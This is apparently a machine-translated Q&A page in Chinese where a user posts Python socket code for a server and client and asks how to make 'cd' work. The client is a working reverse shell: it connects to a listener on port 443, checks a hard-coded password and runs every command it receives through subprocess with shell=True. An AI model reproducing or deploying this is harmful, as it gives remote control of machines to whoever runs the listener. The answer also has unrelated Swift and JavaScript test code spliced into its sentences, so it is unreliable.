在python中的客户端/服务器环境中更改工作目录

时间:2018-08-21 16:45:55

标签: python-3.x sockets subprocess client-server

我正在尝试使用服务器脚本中的“ cd”命令来找到在客户端脚本上更改工作目录的最简单方法,但是无论何时运行dir命令,当前工作目录都不会更改。这是我的代码:

服务器代码:

import subprocess
import socket

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind(("0.0.0.0", 443))
server_socket.listen(1)
connected_socket = server_socket.accept()[0]

while True:
    encoded_data = connected_socket.recv(1024)
    data = encoded_data.decode()

    if data != "None":
        print(data)
        nextcmd = input("Shell: ")
        connected_socket.send(nextcmd.encode())
    else:
        nextcmd = input("Shell: ")
        connected_socket.send(nextcmd.encode())

客户代码:

import subprocess
import socket

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

passwd = "secret"

host = "127.0.0.1" #server
port = 443 #port for listener


def Shell():
    while True:
        encoded_data = client_socket.recv(1024)
        data = encoded_data.decode()

        if data == "kill":
            client_socket.close()
            break
        elif data[:2] == "cd":
            client_socket.send("OK".encode())
            continue

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.communicate()[0] + proc.communicate()[1]
        client_socket.send(output)


def Login():
    global client_socket
    client_socket.send("Login Required".encode())
    pwd = client_socket.recv(1024)

    if pwd.decode() != passwd:
        Login()
    else:
        client_socket.send("connected".encode())
        Shell()


client_socket.connect((host, port))
Login()

1 个答案:

答案 0 :(得分:0)

不要每次都创建一个新的shell,而是尝试创建一个shell过程并将所有输入都放入其中。这样,shell更改了自己的目录后,便不会立即关闭。

我对queuePlayer.addObserver(self, forKeyPath: #keyPath(AVQueuePlayer.currentItem), … 模块不是很熟悉,但是我认为您可以通过打开单个shell进程并通过process.communicate与之通信,设置test('Check on the individual devices stuff', async t => { const devices = monitoredDevicesSection.find('.card'); console.log(devices); console.log(devices.count); console.log(await devices.count); await t.expect(devices.count).eql(10); }); 参数来做到这一点。并使用循环,以便您可以发送subprocess来停止挂起的程序。